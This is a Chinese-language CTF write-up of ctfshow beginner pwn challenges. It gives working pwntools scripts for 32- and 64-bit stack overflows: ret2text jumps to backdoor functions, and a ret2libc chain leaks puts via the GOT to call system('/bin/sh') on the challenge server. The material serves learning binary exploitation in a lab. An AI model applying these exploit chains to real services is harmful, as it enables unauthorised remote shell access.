【ctfshow pwn入门】

前言

ctfshow pwn篇

PWN签到题

直接nc连接

pwn02

很经典的栈溢出
checksec一下发现没有栈溢出保护

查看一下源码

跟进去

而且没有栈保护，所以是可以栈溢出的
查看string，发现有/bin/sh命令，跟进查看地址

脚本

from pwn import *

context(os='linux',arch='i386',log_level='debug')
#io = process('./stack')
io = remote('pwn.challenge.ctf.show',28124)
#elf=ELF('./stack')
#backdoor = elf.sym['backdoor']
backdoor = 0x8048518

print(hex(backdoor))
offest = 13
payload = cyclic(offest) + p32(backdoor)
io.sendline(payload)
io.interactive()

pwn03

大致思路：第一次调用puts函数，触发指令调用动态链去查看lib库中puts函数的真实地址，然后把真实地址存储到got表中，然后输出puts函数的真实地址，获得puts函数的真实地址然后计算基地址，通过基地址来获取system函数和/bin/sh函数的地址 最终的payload = padding + system函数的地址 + 4（system函数的返回地址） + /bin/sh函数的地址

跟进去发现没有后门函数

from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28146)
#连接靶机
elf = ELF('stack1')
#启动stack1程序
context.log_level = 'debug'


puts_plt = elf.plt['puts']
#获取puts函数在plt表上的地址
puts_got = elf.got['puts']
#获取puts函数在got表上的地址
start_addr = 0x080483C0
#main函数的地址
payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#第一个payload，这样子会返回puts函数的真实地址
io.sendlineafter(b'32bits\n',payload1)
io.recv()
leak_addr = u32(io.recv(4))
#接收puts函数的真实返回地址
print(hex(leak_addr))
libc_base_addr = leak_addr - 0x67360
#基地址：puts函数真实地址-偏移量
system_addr = 0x3cd10 + libc_base_addr
#system函数真实地址 = 基地址＋偏移量
bin_sh_addr = libc_base_addr + 0x17b8cf
#/bin/sh的真实地址
payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr)

io.sendlineafter(b'32bits\n',payload2)
io.interactive()

pwn04

32位放进IDA查看

后面看wp完全看不懂，绷不住了，不做了

pwn05

数长度为16，但是实际大小只有14，很明显的栈溢出

这时候只要找/bin/sh就行
发现有个getflag函数是执行/bin/sh命令的
跟进去

exp:

from pwn import *

context(os='linux',arch='i386',log_level='debug')
#io = process('./stack')
io = remote('pwn.challenge.ctf.show', 28257)
#elf=ELF('./stack')
#backdoor = elf.sym['backdoor']
backdoor = 0x8048486

print(hex(backdoor))
offest = 0x14+4
payload = cyclic(offest) + p32(backdoor)
io.sendline(payload)
io.interactive()

pwn06

和上一道题差不多，但是因为它是64位的，所以要平衡栈堆，而且64位的程序ebp占8位

找到执行/bin/sh函数的地址

exp

from pwn import *

context(os='linux',arch='i386',log_level='debug')
#io = process('./stack')
io = remote('pwn.challenge.ctf.show', 28258)
#elf=ELF('./stack')
#backdoor = elf.sym['backdoor']
backdoor = 0x400577

print(hex(backdoor))
offest = 20
payload = cyclic(offest) + p64(0x40058E) + p64(backdoor)
#p64(0x40058E)用来平衡栈堆
io.sendline(payload)
io.interactive()